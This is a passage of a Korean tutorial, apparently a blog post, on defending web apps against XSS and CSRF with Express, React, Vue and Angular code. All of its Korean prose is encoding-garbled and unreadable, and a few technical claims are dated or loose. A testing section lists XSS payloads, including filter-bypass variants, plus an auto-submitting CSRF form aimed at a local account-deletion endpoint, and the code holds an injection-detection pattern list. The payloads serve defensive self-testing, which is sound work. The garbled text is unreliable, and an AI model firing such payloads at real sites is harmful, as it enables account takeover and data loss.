์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ•ด์ปค๊ฐ€ ๋งŒ๋“  ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ์—์„œ๋Š” ์œ ํšจํ•œ CSRF ํ† ํฐ์„ ์•Œ ์ˆ˜ ์—†์œผ๋‹ˆ๊นŒ
์š”์ฒญ์ด ์ฐจ๋‹จ๋˜๋Š” ๊ฑฐ์•ผ! ์™„๋ฒฝํ•œ ๋ฐฉ์–ด๋ฒ•์ด์ง€? ๐Ÿ˜Ž

2๏ธโƒฃ SameSite ์ฟ ํ‚ค ์†์„ฑ ์„ค์ •

SameSite ์†์„ฑ์€ ์ฟ ํ‚ค๊ฐ€ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ์— ํฌํ•จ๋˜์ง€ ์•Š๋„๋ก ๋ง‰์•„์ค˜.

// SameSite ์ฟ ํ‚ค ์„ค์ •
res.cookie('sessionId', sessionToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict', // ๋˜๋Š” 'lax'
  maxAge: 3600000
});

// sameSite ์˜ต์…˜ ์„ค๋ช…:
// - 'strict': ์™„์ „ํžˆ ์ฐจ๋‹จ (๊ฐ€์žฅ ์•ˆ์ „ํ•˜์ง€๋งŒ ๋ถˆํŽธํ•  ์ˆ˜ ์žˆ์Œ)
// - 'lax': GET ์š”์ฒญ๋งŒ ํ—ˆ์šฉ (์ผ๋ฐ˜์ ์œผ๋กœ ๊ถŒ์žฅ)
// - 'none': ๋ชจ๋“  ์š”์ฒญ ํ—ˆ์šฉ (๋ณด์•ˆ ์ทจ์•ฝ, ๋น„์ถ”์ฒœ)
๐Ÿ’ก SameSite ๋™์ž‘ ๋ฐฉ์‹ sameSite: 'strict' ์„ค์ • ์‹œ:
โ†’ ์™ธ๋ถ€ ์‚ฌ์ดํŠธ์—์„œ ์˜ค๋Š” ๋ชจ๋“  ์š”์ฒญ์— ์ฟ ํ‚ค๊ฐ€ ํฌํ•จ๋˜์ง€ ์•Š์Œ
โ†’ CSRF ๊ณต๊ฒฉ ์™„๋ฒฝ ์ฐจ๋‹จ!

sameSite: 'lax' ์„ค์ • ์‹œ:
โ†’ ๋งํฌ ํด๋ฆญ, GET ํผ ์ œ์ถœ ๋“ฑ ์•ˆ์ „ํ•œ ์š”์ฒญ๋งŒ ์ฟ ํ‚ค ํฌํ•จ
โ†’ POST, PUT, DELETE ๊ฐ™์€ ์ƒํƒœ ๋ณ€๊ฒฝ ์š”์ฒญ์€ ์ฐจ๋‹จ
โ†’ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜๊ณผ ๋ณด์•ˆ์˜ ๊ท ํ˜•!

3๏ธโƒฃ Referer ํ—ค๋” ๊ฒ€์ฆ

์š”์ฒญ์ด ์–ด๋””์„œ ์™”๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐฉ๋ฒ•์ด์•ผ.
ํ•˜์ง€๋งŒ ์ด ๋ฐฉ๋ฒ•์€ ๋ณด์กฐ ์ˆ˜๋‹จ์œผ๋กœ๋งŒ ์จ์•ผ ํ•ด! (Referer๋Š” ์กฐ์ž‘ ๊ฐ€๋Šฅํ•˜๊ฑฐ๋“ )

// Referer ํ—ค๋” ๊ฒ€์ฆ ๋ฏธ๋“ค์›จ์–ด
function checkReferer(req, res, next) {
  const referer = req.get('Referer');
  const allowedDomains = ['https://mysite.com', 'https://www.mysite.com'];
  
  if (!referer) {
    return res.status(403).send('Referer ํ—ค๋”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.');
  }
  
  const isAllowed = allowedDomains.some(domain => 
    referer.startsWith(domain)
  );
  
  if (!isAllowed) {
    return res.status(403).send('ํ—ˆ์šฉ๋˜์ง€ ์•Š์€ ๋„๋ฉ”์ธ์ž…๋‹ˆ๋‹ค.');
  }
  
  next();
}

// ์‚ฌ์šฉ
app.post('/transfer', checkReferer, (req, res) => {
  // ์†ก๊ธˆ ์ฒ˜๋ฆฌ...
});

4๏ธโƒฃ Double Submit Cookie ํŒจํ„ด

CSRF ํ† ํฐ์„ ์ฟ ํ‚ค์™€ ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ ์–‘์ชฝ์— ๋„ฃ์–ด์„œ ๋น„๊ตํ•˜๋Š” ๋ฐฉ๋ฒ•์ด์•ผ.
์„œ๋ฒ„์— ํ† ํฐ์„ ์ €์žฅํ•˜์ง€ ์•Š์•„๋„ ๋ผ์„œ stateless ํ™˜๊ฒฝ์— ์ข‹์•„!

// Double Submit Cookie ๊ตฌํ˜„
const crypto = require('crypto');

// 1. ํ† ํฐ ์ƒ์„ฑ ๋ฐ ์ฟ ํ‚ค ์„ค์ •
app.get('/form', (req, res) => {
  const csrfToken = crypto.randomBytes(32).toString('hex');
  
  res.cookie('csrf-token', csrfToken, {
    httpOnly: false, // JavaScript์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ
    secure: true,
    sameSite: 'strict'
  });
  
  res.render('form', { csrfToken });
});

// 2. ํด๋ผ์ด์–ธํŠธ์—์„œ ์š”์ฒญ ์‹œ ํ† ํฐ ํฌํ•จ
// fetch('/api/transfer', {
//   method: 'POST',
//   headers: {
//     'X-CSRF-Token': getCookie('csrf-token'),
//     'Content-Type': 'application/json'
//   },
//   body: JSON.stringify({ to: '๊ณ„์ขŒ๋ฒˆํ˜ธ', amount: 10000 })
// });

// 3. ์„œ๋ฒ„์—์„œ ๊ฒ€์ฆ
function validateDoubleSubmitCookie(req, res, next) {
  const cookieToken = req.cookies['csrf-token'];
  const headerToken = req.get('X-CSRF-Token');
  
  if (!cookieToken || !headerToken || cookieToken !== headerToken) {
    return res.status(403).send('CSRF ํ† ํฐ ๋ถˆ์ผ์น˜!');
  }
  
  next();
}

app.post('/api/transfer', validateDoubleSubmitCookie, (req, res) => {
  // ์†ก๊ธˆ ์ฒ˜๋ฆฌ...
});

5๏ธโƒฃ ์ปค์Šคํ…€ ํ—ค๋” ์‚ฌ์šฉ (AJAX ์š”์ฒญ)

AJAX ์š”์ฒญ์—๋Š” ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ํšจ๊ณผ์ ์ด์•ผ!
๋ธŒ๋ผ์šฐ์ €์˜ Same-Origin Policy ๋•Œ๋ฌธ์— ์™ธ๋ถ€ ์‚ฌ์ดํŠธ์—์„œ๋Š” ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์—†๊ฑฐ๋“ .

// ํด๋ผ์ด์–ธํŠธ (React ์˜ˆ์‹œ)
const transferMoney = async (to, amount) => {
  try {
    const response = await fetch('/api/transfer', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'X-Requested-With': 'XMLHttpRequest', // ์ปค์Šคํ…€ ํ—ค๋”
        'X-Custom-Header': 'MySecretValue'
      },
      credentials: 'include', // ์ฟ ํ‚ค ํฌํ•จ
      body: JSON.stringify({ to, amount })
    });
    
    if (response.ok) {
      alert('์†ก๊ธˆ ์™„๋ฃŒ!');
    }
  } catch (error) {
    console.error('์†ก๊ธˆ ์‹คํŒจ:', error);
  }
};

// ์„œ๋ฒ„ (Express.js)
app.post('/api/transfer', (req, res) => {
  // ์ปค์Šคํ…€ ํ—ค๋” ๊ฒ€์ฆ
  const customHeader = req.get('X-Requested-With');
  
  if (customHeader !== 'XMLHttpRequest') {
    return res.status(403).send('์œ ํšจํ•˜์ง€ ์•Š์€ ์š”์ฒญ์ž…๋‹ˆ๋‹ค.');
  }
  
  // ์†ก๊ธˆ ์ฒ˜๋ฆฌ...
  res.json({ success: true });
});

๐Ÿ” ์ถ”๊ฐ€ ๋ณด์•ˆ Best Practices

1๏ธโƒฃ HTTPS ์‚ฌ์šฉ ํ•„์ˆ˜!

์ด๊ฑด ์ง„์งœ ๊ธฐ๋ณธ ์ค‘์˜ ๊ธฐ๋ณธ์ด์•ผ! ๐Ÿ”’
HTTP๋Š” ํ‰๋ฌธ์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ค‘๊ฐ„์—์„œ ๊ฐ€๋กœ์ฑ„๊ธฐ ์‰ฌ์›Œ.
HTTPS๋ฅผ ์“ฐ๋ฉด ๋ฐ์ดํ„ฐ๊ฐ€ ์•”ํ˜ธํ™”๋˜์–ด์„œ ์•ˆ์ „ํ•˜๊ฒŒ ์ „์†ก๋ผ.

โš ๏ธ HTTPS ์—†์ด๋Š” ์•„๋ฌด๋ฆฌ ๋‹ค๋ฅธ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ํ•ด๋„ ์†Œ์šฉ์—†์–ด! ์ฟ ํ‚ค์˜ secure ํ”Œ๋ž˜๊ทธ๋„ HTTPS์—์„œ๋งŒ ์ž‘๋™ํ•˜๊ณ ,
์ค‘๊ฐ„์ž ๊ณต๊ฒฉ(MITM)์„ ๋ง‰์„ ์ˆ˜ ์—†์–ด.

Let's Encrypt ๊ฐ™์€ ๋ฌด๋ฃŒ ์ธ์ฆ์„œ๋„ ์žˆ์œผ๋‹ˆ ๊ผญ ์ ์šฉํ•˜์ž! ๐Ÿ’ช

2๏ธโƒฃ ์ž…๋ ฅ๊ฐ’ ๊ธธ์ด ์ œํ•œ

๋„ˆ๋ฌด ๊ธด ์ž…๋ ฅ๊ฐ’์€ ๊ทธ ์ž์ฒด๋กœ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๊ฐ€ ๋  ์ˆ˜ ์žˆ์–ด.

// ํ”„๋ก ํŠธ์—”๋“œ ๊ฒ€์ฆ
function validateInput(input, maxLength = 200) {
  if (input.length > maxLength) {
    throw new Error(`์ž…๋ ฅ๊ฐ’์€ ${maxLength}์ž๋ฅผ ์ดˆ๊ณผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.`);
  }
  
  // ์œ„ํ—˜ํ•œ ํŒจํ„ด ๊ฒ€์‚ฌ
  const dangerousPatterns = [
    /<script/i,
    /javascript:/i,
    /on\w+=/i, // onclick, onerror ๋“ฑ
    /<iframe/i
  ];
  
  for (const pattern of dangerousPatterns) {
    if (pattern.test(input)) {
      throw new Error('ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.');
    }
  }
  
  return true;
}

// ๋ฐฑ์—”๋“œ์—์„œ๋„ ๋ฐ˜๋“œ์‹œ ์žฌ๊ฒ€์ฆ!
app.post('/comment', (req, res) => {
  const { comment } = req.body;
  
  if (!comment || comment.length > 500) {
    return res.status(400).send('์œ ํšจํ•˜์ง€ ์•Š์€ ๋Œ“๊ธ€์ž…๋‹ˆ๋‹ค.');
  }
  
  // ์ถ”๊ฐ€ ๊ฒ€์ฆ ๋ฐ ์ €์žฅ...
});

3๏ธโƒฃ Rate Limiting (์†๋„ ์ œํ•œ)

๊ฐ™์€ IP์—์„œ ๋„ˆ๋ฌด ๋งŽ์€ ์š”์ฒญ์ด ์˜ค๋ฉด ์ฐจ๋‹จํ•˜๋Š” ๊ฑฐ์•ผ.
๋ธŒ๋ฃจํŠธ ํฌ์Šค ๊ณต๊ฒฉ์ด๋‚˜ ์ž๋™ํ™”๋œ ๊ณต๊ฒฉ์„ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด! ๐Ÿšฆ

// express-rate-limit ์‚ฌ์šฉ
const rateLimit = require('express-rate-limit');

// API ์š”์ฒญ ์ œํ•œ
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15๋ถ„
  max: 100, // ์ตœ๋Œ€ 100๋ฒˆ ์š”์ฒญ
  message: '๋„ˆ๋ฌด ๋งŽ์€ ์š”์ฒญ์„ ๋ณด๋ƒˆ์Šต๋‹ˆ๋‹ค. ์ž ์‹œ ํ›„ ๋‹ค์‹œ ์‹œ๋„ํ•ด์ฃผ์„ธ์š”.',
  standardHeaders: true,
  legacyHeaders: false,
});

// ๋กœ๊ทธ์ธ ์š”์ฒญ ์ œํ•œ (๋” ์—„๊ฒฉํ•˜๊ฒŒ)
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5, // 15๋ถ„์— 5๋ฒˆ๋งŒ ํ—ˆ์šฉ
  skipSuccessfulRequests: true, // ์„ฑ๊ณตํ•œ ์š”์ฒญ์€ ์นด์šดํŠธ ์•ˆ ํ•จ
});

app.use('/api/', apiLimiter);
app.post('/login', loginLimiter, (req, res) => {
  // ๋กœ๊ทธ์ธ ์ฒ˜๋ฆฌ...
});

4๏ธโƒฃ ๋ณด์•ˆ ํ—ค๋” ์„ค์ •

Helmet.js๋ฅผ ์“ฐ๋ฉด ์—ฌ๋Ÿฌ ๋ณด์•ˆ ํ—ค๋”๋ฅผ ํ•œ ๋ฒˆ์— ์„ค์ •ํ•  ์ˆ˜ ์žˆ์–ด!

const helmet = require('helmet');

app.use(helmet({
  // Content Security Policy
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "trusted-cdn.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
    },
  },
  
  // X-Frame-Options (ํด๋ฆญ์žฌํ‚น ๋ฐฉ์ง€)
  frameguard: { action: 'deny' },
  
  // X-Content-Type-Options
  noSniff: true,
  
  // Strict-Transport-Security (HTTPS ๊ฐ•์ œ)
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  },
  
  // X-XSS-Protection
  xssFilter: true,
}));
๐ŸŽฏ ๊ฐ ํ—ค๋”์˜ ์—ญํ•  X-Frame-Options: iframe ์‚ฝ์ž… ๋ฐฉ์ง€ (ํด๋ฆญ์žฌํ‚น ๊ณต๊ฒฉ ์ฐจ๋‹จ)
X-Content-Type-Options: MIME ํƒ€์ž… ์Šค๋‹ˆํ•‘ ๋ฐฉ์ง€
Strict-Transport-Security: HTTPS๋งŒ ์‚ฌ์šฉํ•˜๋„๋ก ๊ฐ•์ œ
X-XSS-Protection: ๋ธŒ๋ผ์šฐ์ €์˜ XSS ํ•„ํ„ฐ ํ™œ์„ฑํ™”
Referrer-Policy: Referer ์ •๋ณด ๋…ธ์ถœ ์ œ์–ด

5๏ธโƒฃ ์ •๊ธฐ์ ์ธ ์˜์กด์„ฑ ์—…๋ฐ์ดํŠธ

npm ํŒจํ‚ค์ง€์—๋„ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ์žˆ์„ ์ˆ˜ ์žˆ์–ด!
์ •๊ธฐ์ ์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜๊ณ  ์ทจ์•ฝ์ ์„ ์ฒดํฌํ•ด์•ผ ํ•ด. ๐Ÿ”

# npm audit์œผ๋กœ ์ทจ์•ฝ์  ๊ฒ€์‚ฌ
npm audit

# ์ž๋™์œผ๋กœ ์ˆ˜์ • ๊ฐ€๋Šฅํ•œ ์ทจ์•ฝ์  ํŒจ์น˜
npm audit fix

# ๊ฐ•์ œ๋กœ ๋ฉ”์ด์ € ๋ฒ„์ „ ์—…๋ฐ์ดํŠธ (์ฃผ์˜ ํ•„์š”!)
npm audit fix --force

# Snyk ๊ฐ™์€ ๋„๊ตฌ ์‚ฌ์šฉ
npm install -g snyk
snyk test
snyk wizard

๐Ÿงช ์‹ค์ „ ํ…Œ์ŠคํŠธ: ๋ณด์•ˆ ์ทจ์•ฝ์  ์ฐพ๊ธฐ

๐Ÿ”ฌ XSS ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•

์ž์‹ ์˜ ์›น์‚ฌ์ดํŠธ์— XSS ์ทจ์•ฝ์ ์ด ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ด๋ณด์ž!
(์ ˆ๋Œ€ ๋‹ค๋ฅธ ์‚ฌ๋žŒ ์‚ฌ์ดํŠธ์—์„œ ํ…Œ์ŠคํŠธํ•˜๋ฉด ์•ˆ ๋ผ! ๋ถˆ๋ฒ•์ด์•ผ! โš–๏ธ)

๐Ÿ’ก XSS ํ…Œ์ŠคํŠธ ํŽ˜์ด๋กœ๋“œ ์˜ˆ์‹œ
// ๊ธฐ๋ณธ ํ…Œ์ŠคํŠธ
<script>alert('XSS')</script>

// ์ด๋ฏธ์ง€ ํƒœ๊ทธ ํ™œ์šฉ
<img src=x onerror=alert('XSS')>

// SVG ํ™œ์šฉ
<svg onload=alert('XSS')>

// ๋Œ€์†Œ๋ฌธ์ž ์šฐํšŒ
<ScRiPt>alert('XSS')</sCrIpT>

// ์ธ์ฝ”๋”ฉ ์šฐํšŒ
<script>alert(String.fromCharCode(88,83,83))</script>

// ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>

// JavaScript URI
<a href="javascript:alert('XSS')">ํด๋ฆญ</a>

// DOM-based XSS ํ…Œ์ŠคํŠธ
#<img src=x onerror=alert('XSS')>

๐Ÿ”ฌ CSRF ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•

CSRF ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๋ ค๋ฉด ๊ฐ„๋‹จํ•œ HTML ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด๋ด.

<!-- csrf-test.html -->
<!DOCTYPE html>
<html>
<head>
  <title>CSRF ํ…Œ์ŠคํŠธ</title>
</head>
<body>
  <h1>CSRF ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ</h1>
  
  <!-- ์ž๋™ ์ œ์ถœ ํผ -->
  <form action="http://localhost:3000/api/delete-account" 
        method="POST" 
        id="csrfForm">
    <input type="hidden" name="confirm" value="yes">
  </form>
  
  <script>
    // ํŽ˜์ด์ง€ ๋กœ๋“œ ์‹œ ์ž๋™ ์ œ์ถœ
    window.onload = function() {
      document.getElementById('csrfForm').submit();
    };
  </script>
  
  <p>๋งŒ์•ฝ ๊ณ„์ •์ด ์‚ญ์ œ๋˜๋ฉด CSRF ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค!</p>
</body>
</html>

์ด ํŒŒ์ผ์„ ์—ด์—ˆ์„ ๋•Œ ์‹ค์ œ๋กœ ๊ณ„์ •์ด ์‚ญ์ œ๋˜๋ฉด CSRF ๋ฐฉ์–ด๊ฐ€ ์•ˆ ๋˜์–ด ์žˆ๋Š” ๊ฑฐ์•ผ!
์ œ๋Œ€๋กœ ๋ฐฉ์–ด๋˜์–ด ์žˆ๋‹ค๋ฉด 403 ์—๋Ÿฌ๋‚˜ ํ† ํฐ ๋ถˆ์ผ์น˜ ์—๋Ÿฌ๊ฐ€ ๋‚˜์•ผ ํ•ด. โœ…

๐Ÿ› ๏ธ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ

๋„๊ตฌ ์šฉ๋„ ํŠน์ง•
OWASP ZAP ์›น ์ทจ์•ฝ์  ์Šค์บ๋„ˆ ๋ฌด๋ฃŒ, ์˜คํ”ˆ์†Œ์Šค, ์ž๋™/์ˆ˜๋™ ํ…Œ์ŠคํŠธ ๊ฐ€๋Šฅ
Burp Suite ์›น ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ํ”„๋ก์‹œ ๊ธฐ๋Šฅ, ๊ฐ•๋ ฅํ•œ ๋ถ„์„ ๋„๊ตฌ
XSS Hunter XSS ํƒ์ง€ Blind XSS ์ฐพ๊ธฐ์— ํŠนํ™”
npm audit ์˜์กด์„ฑ ์ทจ์•ฝ์  ๊ฒ€์‚ฌ Node.js ํ”„๋กœ์ ํŠธ ํ•„์ˆ˜
Snyk ๋ณด์•ˆ ์ทจ์•ฝ์  ๋ชจ๋‹ˆํ„ฐ๋ง ์‹ค์‹œ๊ฐ„ ์•Œ๋ฆผ, CI/CD ํ†ตํ•ฉ
๋ณด์•ˆ ํ…Œ์ŠคํŠธ ์›Œํฌํ”Œ๋กœ์šฐ 1. ์ฝ”๋“œ ์ž‘์„ฑ ๊ฐœ๋ฐœ ๋‹จ๊ณ„ 2. ์ •์  ๋ถ„์„ ESLint, SonarQube 3. ๋™์  ํ…Œ์ŠคํŠธ OWASP ZAP 4. ๋ฐฐํฌ ํ”„๋กœ๋•์…˜ ์ง€์†์ ์ธ ๋ชจ๋‹ˆํ„ฐ๋ง ์˜์กด์„ฑ ์ฒดํฌ ๋กœ๊ทธ ๋ถ„์„ ์นจ์ž… ํƒ์ง€ npm audit ยท Snyk ยท ๋ณด์•ˆ ๋กœ๊ทธ ยท IDS/IPS

๐ŸŽ“ ํ”„๋ ˆ์ž„์›Œํฌ๋ณ„ ๋ณด์•ˆ ๊ฐ€์ด๋“œ

โš›๏ธ React ๋ณด์•ˆ Best Practices

React๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ XSS๋ฅผ ๋ฐฉ์–ดํ•ด์ฃผ์ง€๋งŒ, ์กฐ์‹ฌํ•ด์•ผ ํ•  ๋ถ€๋ถ„์ด ์žˆ์–ด!

โš ๏ธ React์—์„œ ์œ„ํ—˜ํ•œ ํŒจํ„ด
// ๐Ÿšซ ์œ„ํ—˜! dangerouslySetInnerHTML ์‚ฌ์šฉ
function Comment({ html }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: html }} />
  );
}

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• 1: ํ…์ŠคํŠธ๋กœ ๋ Œ๋”๋ง
function Comment({ text }) {
  return <div>{text}</div>;
}

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• 2: DOMPurify ์‚ฌ์šฉ
import DOMPurify from 'dompurify';

function Comment({ html }) {
  const cleanHTML = DOMPurify.sanitize(html);
  return (
    <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />
  );
}
โœ… React์—์„œ CSRF ๋ฐฉ์–ด
// Axios ์ธํ„ฐ์…‰ํ„ฐ๋กœ CSRF ํ† ํฐ ์ž๋™ ์ถ”๊ฐ€
import axios from 'axios';

// CSRF ํ† ํฐ ๊ฐ€์ ธ์˜ค๊ธฐ
function getCsrfToken() {
  return document.querySelector('meta[name="csrf-token"]')?.content;
}

// Axios ์ธ์Šคํ„ด์Šค ์ƒ์„ฑ
const api = axios.create({
  baseURL: '/api',
  withCredentials: true, // ์ฟ ํ‚ค ํฌํ•จ
});

// ์š”์ฒญ ์ธํ„ฐ์…‰ํ„ฐ
api.interceptors.request.use(config => {
  const token = getCsrfToken();
  if (token) {
    config.headers['X-CSRF-Token'] = token;
  }
  return config;
});

// ์‚ฌ์šฉ
const transferMoney = async (to, amount) => {
  try {
    const response = await api.post('/transfer', { to, amount });
    console.log('์†ก๊ธˆ ์„ฑ๊ณต:', response.data);
  } catch (error) {
    console.error('์†ก๊ธˆ ์‹คํŒจ:', error);
  }
};

๐ŸŸข Vue.js ๋ณด์•ˆ Best Practices

Vue๋„ React์ฒ˜๋Ÿผ ๊ธฐ๋ณธ์ ์œผ๋กœ ์•ˆ์ „ํ•˜์ง€๋งŒ, v-html ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” ์กฐ์‹ฌํ•ด์•ผ ํ•ด!

<!-- ๐Ÿšซ ์œ„ํ—˜! v-html ์‚ฌ์šฉ -->
<div v-html="userInput"></div>

<!-- โœ… ์•ˆ์ „! ํ…์ŠคํŠธ ๋ณด๊ฐ„ -->
<div>{{ userInput }}</div>

<!-- โœ… ์•ˆ์ „! DOMPurify ์‚ฌ์šฉ -->
<template>
  <div v-html="sanitizedHTML"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
  data() {
    return {
      userInput: '<script>alert("XSS")</script>'
    };
  },
  computed: {
    sanitizedHTML() {
      return DOMPurify.sanitize(this.userInput);
    }
  }
};
</script>

๐Ÿ…ฐ๏ธ Angular ๋ณด์•ˆ Best Practices

Angular๋Š” ๋ณด์•ˆ ๊ธฐ๋Šฅ์ด ๊ฐ€์žฅ ๊ฐ•๋ ฅํ•ด! ์ž๋™์œผ๋กœ ์ƒˆ๋‹ˆํƒ€์ด์ œ์ด์…˜์„ ํ•ด์ค˜.

// Angular์˜ DomSanitizer ์‚ฌ์šฉ
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

@Component({
  selector: 'app-comment',
  template: `
    <!-- ์ž๋™์œผ๋กœ ์ƒˆ๋‹ˆํƒ€์ด์ฆˆ๋จ -->
    <div [innerHTML]="userInput"></div>
    
    <!-- ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” HTML (์ฃผ์˜ํ•ด์„œ ์‚ฌ์šฉ!) -->
    <div [innerHTML]="trustedHTML"></div>
  `
})
export class CommentComponent {
  userInput = '<script>alert("XSS")</script>'; // ์ž๋™ ์ฐจ๋‹จ๋จ
  trustedHTML: SafeHtml;
  
  constructor(private sanitizer: DomSanitizer) {
    // ์ •๋ง ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” HTML๋งŒ ์ด๋ ‡๊ฒŒ ์ฒ˜๋ฆฌ
    this.trustedHTML = this.sanitizer.bypassSecurityTrustHtml(
      '<p>์•ˆ์ „ํ•œ HTML</p>'
    );
  }
}

๐ŸŸฉ Node.js/Express ๋ณด์•ˆ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

โœ… Express ๋ณด์•ˆ ์ฒดํฌ๋ฆฌ์ŠคํŠธ
  • โ˜‘๏ธ Helmet.js๋กœ ๋ณด์•ˆ ํ—ค๋” ์„ค์ •
  • โ˜‘๏ธ CORS ์ •์ฑ… ์„ค์ •
  • โ˜‘๏ธ Rate limiting ์ ์šฉ
  • โ˜‘๏ธ CSRF ํ† ํฐ ์‚ฌ์šฉ
  • โ˜‘๏ธ ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ (express-validator)
  • โ˜‘๏ธ SQL Injection ๋ฐฉ์ง€ (Prepared Statements)
  • โ˜‘๏ธ ํ™˜๊ฒฝ๋ณ€์ˆ˜๋กœ ๋ฏผ๊ฐ ์ •๋ณด ๊ด€๋ฆฌ (.env)
  • โ˜‘๏ธ HTTPS ๊ฐ•์ œ (production)
  • โ˜‘๏ธ ์„ธ์…˜ ๋ณด์•ˆ ์„ค์ •
  • โ˜‘๏ธ ์ •๊ธฐ์ ์ธ ์˜์กด์„ฑ ์—…๋ฐ์ดํŠธ
// ์™„๋ฒฝํ•œ Express ๋ณด์•ˆ ์„ค์ • ์˜ˆ์‹œ
const express = require('express');
const helmet = require('helmet');
const cors = require('cors');
const rateLimit = require('express-rate-limit');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const { body, validationResult } = require('express-validator');

const app = express();

// 1. Helmet์œผ๋กœ ๋ณด์•ˆ ํ—ค๋” ์„ค์ •
app.use(helmet());

// 2. CORS ์„ค์ •
app.use(cors({
  origin: 'https://yourdomain.com',
  credentials: true
}));

// 3. Rate limiting
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 100
});
app.use('/api/', limiter);

// 4. Body parser
app.use(express.json({ limit: '10kb' })); // ์š”์ฒญ ํฌ๊ธฐ ์ œํ•œ
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
app.use(cookieParser());

// 5. CSRF ๋ณดํ˜ธ
const csrfProtection = csrf({ cookie: true });

// 6. ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ ๋ฏธ๋“ค์›จ์–ด
const validateTransfer = [
  body('to').isLength({ min: 10, max: 20 }).trim().escape(),
  body('amount').isInt({ min: 1, max: 1000000 }),
  (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    next();
  }
];

// 7. ๋ผ์šฐํŠธ ์„ค์ •
app.post('/api/transfer', 
  csrfProtection, 
  validateTransfer, 
  async (req, res) => {
    try {
      const { to, amount } = req.body;
      // ์†ก๊ธˆ ๋กœ์ง...
      res.json({ success: true });
    } catch (error) {
      res.status(500).json({ error: '์„œ๋ฒ„ ์˜ค๋ฅ˜' });
    }
  }
);

// 8. ์—๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ
app.use((err, req, res, next) => {
  console.error(err.stack);
  res.status(500).send('์„œ๋ฒ„ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค.');
});

// 9. HTTPS ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ (production)
if (process.env.NODE_ENV === 'production') {
  app.use((req, res, next) => {
    if (req.header('x-forwarded-proto') !== 'https') {
      res.redirect(`https://${req.header('host')}${req.url}`);
    } else {
      next();
    }
  });
}

app.listen(3000, () => {
  console.log('์„œ๋ฒ„ ์‹œ์ž‘! ๋ณด์•ˆ ์„ค์ • ์™„๋ฃŒ โœ…');
});

๐Ÿš€ ์‹ค์ „ ํ”„๋กœ์ ํŠธ: ๋ณด์•ˆ์ด ๊ฐ•ํ™”๋œ ๋กœ๊ทธ์ธ ์‹œ์Šคํ…œ ๋งŒ๋“ค๊ธฐ

์ด์ œ ๋ฐฐ์šด ๊ฑธ ๋‹ค ํ•ฉ์ณ์„œ ์‹ค์ „ ํ”„๋กœ์ ํŠธ๋ฅผ ๋งŒ๋“ค์–ด๋ณด์ž!
XSS์™€ CSRF ๋ฐฉ์–ด๊ฐ€ ์™„๋ฒฝํ•˜๊ฒŒ ์ ์šฉ๋œ ๋กœ๊ทธ์ธ ์‹œ์Šคํ…œ์ด์•ผ. ๐Ÿ’ช

